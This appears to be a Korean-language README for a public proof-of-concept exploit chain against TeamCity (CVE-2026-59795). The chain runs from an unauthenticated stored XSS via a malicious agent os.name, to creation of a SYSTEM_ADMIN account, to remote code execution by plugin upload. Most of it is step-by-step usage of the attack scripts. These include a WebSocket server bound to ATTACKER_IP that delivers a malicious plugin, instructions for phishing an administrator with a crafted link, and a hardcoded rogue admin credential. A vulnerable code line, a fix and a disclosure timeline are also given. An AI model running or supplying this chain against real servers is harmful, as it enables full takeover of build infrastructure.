
CVE-2026-59795에 대한 개념 증명: TeamCity 에이전트 세부 정보의 비인증 저장형 XSS로, SYSTEM_ADMIN 계정 생성 및 플러그인 업로드 RCE로 이어지는 공격 체인입니다.
TeamCity의 레거시 에이전트 상세 페이지에 존재하는 비인증 저장형 XSS로, 재시작 없이 서버 RCE로 확장됩니다. 공격자는 악성 os.name을 사용하여 빌드 에이전트를 등록하고(자격 증명 불필요), 관리자가 해당 에이전트의 상세 페이지를 열람하도록 유도합니다. 페이로드는 관리자의 인증된 세션에서 실행되며, SYSTEM_ADMIN 계정을 생성하거나 악성 플러그인을 업로드 및 로드할 수 있습니다.
| CVE | CVE-2026-59795 |
| 영향 받는 버전 | TeamCity <= 2026.1.1 (build 222577) |
| 수정된 버전 | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| 유형 | 저장형 XSS (CWE-79), SYSTEM_ADMIN 탈취 및 RCE로 연계 가능 |
| 필요한 인증 | 페이로드 삽입에는 불필요 |
트리거: 관리자가 악성 에이전트를 열람하는 방식으로, 기본 Sakura UI에서 원클릭으로 조작된 &fromSakuraUI=true 링크를 통해 이루어지거나, 관리자가 클래식 UI를 사용하는 경우(사용자별 "Use Sakura UI" 미체크 또는 서버 전체 클래식 모드)에는 피싱 없이도 일반적인 승인 워크플로에서 대기 중인 에이전트를 열기만 하면 됩니다.
webapps/ROOT/agent/agentSummary.jsp가 에이전트가 보고한 OS 이름을 이스케이프 없이 렌더링합니다:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
전체 분석 및 스크린샷, 배경 정보: https://joakimbulow.com/posts/cve-2026-59795/
몇 줄 위에 있는 형제 에이전트 이름은 <c:out>을 사용하므로, 이 누락은 실수임이 확인된다. operatingSystemName은 완전히 공격자가 제어할 수 있다: 인증되지 않은 에이전트가 등록 시(POST /app/agents/v1/register의 osName 속성) 이를 설정하며, 서버는 이를 그대로 저장하고 반환한다.
Sakura React UI는 osName을 올바르게 이스케이프하며 일반적으로 레거시 페이지에서 리다이렉트하지만, 다음과 같은 경우에는 리다이렉트가 건너뛰어지고(이스케이프되지 않은 JSP가 렌더링됨):
?fromSakuraUI=true를 붙여 에이전트를 열 때(리다이렉트 태그 자체의 우회 플래그), 또는teamcity.ui.experimental=disableDefault, 또는 사용자별 "Use Sakura UI" 옵트아웃), 또는실제 환경에서 확인된 사항:
alert(document.domain) 팝업 실행, 부작용 없음.SYSTEM_ADMIN 계정 생성(RCE 아님)./admin/pluginUpload.html에 플러그인을 업로드하고 /admin/plugins.html(EnableAllPlugins)을 통해 활성화하면, 재시작 없이 공격자의 Java 코드가 실행 중인 TeamCity JVM에 로드된다. 관리자의 클릭 후 4초 만에 서버 호스트에 증명 파일이 작성되어 검증됨.agentSummary.jsp에서 출력을 이스케이프 처리:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(위 줄의 agent.version 필드도 같은 문제가 있으며 동일한 수정이 필요합니다.)
GET /update/buildAgent.zipjavac, RCE PoC에만 필요curl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
conf/buildAgent.properties를 직접 편집할 필요는 없습니다. 아래의 모든 PoC는 --url/--tc-url 인자로부터 serverUrl을 설정하고 실행할 때마다 에이전트 이름을 다시 작성하므로, 동일한 압축 해제된 evilagent/ 디렉터리를 반복해서 재사용해도 안전합니다.
./poc/)아래 순서대로 실행하세요. 각 단계는 이전 단계보다 더 큰 영향을 확인합니다.
1. alert_only.py, XSS 확인, 부작용 없음. osName이 alert(document.domain)을 실행하는 에이전트를 심습니다. 계정이 생성되지 않고 코드도 실행되지 않습니다.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS에서 SYSTEM_ADMIN 탈취까지, RCE 없음. 동일한 plant이지만, 페이로드가 SYSTEM_ADMIN 계정(eviladmin / Ev1l-Pass-123)을 생성하고 해당 계정이 로그인할 수 있을 때까지 폴링합니다.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, 전체 체인, XSS에서 플러그인 업로드에서 RCE까지, 단일 터미널. 플러그인을 빌드하고, 악성 에이전트와 WebSocket 서버를 시작한 뒤 피싱 링크를 출력합니다. 관리자가 이를 열람하면: XSS가 발동하고, WS 서버가 플러그인을 전달하며, 플러그인이 업로드되어 활성화되고, TeamCity가 런타임에 이를 로드합니다.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
각 PoC는 다음과 같은 링크를 출력합니다:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
관리자에게 전송하세요(Sakura UI, 클릭 한 번). 또는 관리자가 이미 클래식 UI를 사용 중이라면 특별한 매개변수 없이 agentDetails.html?id=N을 안내하면 됩니다. 예를 들어 일반적인 대기 중인 에이전트 검토 흐름을 통해 안내할 수 있습니다.
관리자가 클릭한 후 몇 초 이내에 TeamCity 서버 호스트에서:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
관리자의 브라우저가 공격자 머신에 직접 접근할 수 없는 경우, 예를 들어 대상으로의 SSH 터널을 통해서만 접근할 수 있는 경우, rce_prepare.py를 사용하여 자신의 머신에서 플러그인과 에이전트를 빌드한 다음, poc/ws_serve.py와 빌드된 플러그인 ZIP을 TeamCity 호스트로 전송하여 그곳에서 서비스하십시오:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
TeamCity에 접근하는 데 사용한 동일한 터널을 통해 WebSocket 포트를 포워딩하여(-L 1337:localhost:1337) 관리자의 브라우저가 ws://localhost:1337로 접근할 수 있도록 합니다.
정리 참고 사항: 각 실행은 매번 새 이름으로 에이전트를 등록하므로 반복 실행 시 충돌하지 않지만, 각 실행마다 새로운 미승인 에이전트가 남습니다. 테스트 후 Agents -> Unauthorized에서 제거하십시오.
| 파일 | 용도 |
|---|---|
poc/alert_only.py | 트리아지 1단계, 무해한 alert()로 XSS 확인 |
poc/attacker_deeplink.py | 트리아지 2단계, XSS에서 SYSTEM_ADMIN 탈취까지 |
poc/rce_ws_server.py | 트리아지 3단계, XSS에서 업로드를 거쳐 RCE 체인까지 전체 과정, 단일 터미널 |
poc/rce_prepare.py | 동일한 RCE 체인을 분할하여 WebSocket 서버를 대상 호스트에서 실행할 수 있도록 함(터널 구성) |
poc/ws_serve.py | rce_prepare.py의 분할 구성에서 사용하는 독립형 WebSocket 파일 서버 |
poc/poclib.py | 공용 헬퍼: 악성 에이전트를 구성하고 실행 |
poc/payloads.txt | 원시 XSS 페이로드 변형(alert, 공백 없는 버전, create-admin) |
| 날짜 | 사건 |
|---|---|
| 2026-06-15 | 보고됨 |
| 2026-06-15 | 접수 확인됨 |
| 2026-06-17 | 수정됨 |
| 2026-07-01 | 수정 버전 배포, 2026.1.2 (222647) 및 2025.11.6 (208214) |
| 2026-07-10 | CVE 공개됨 |
| 2026-11-03 | POC 공개됨 |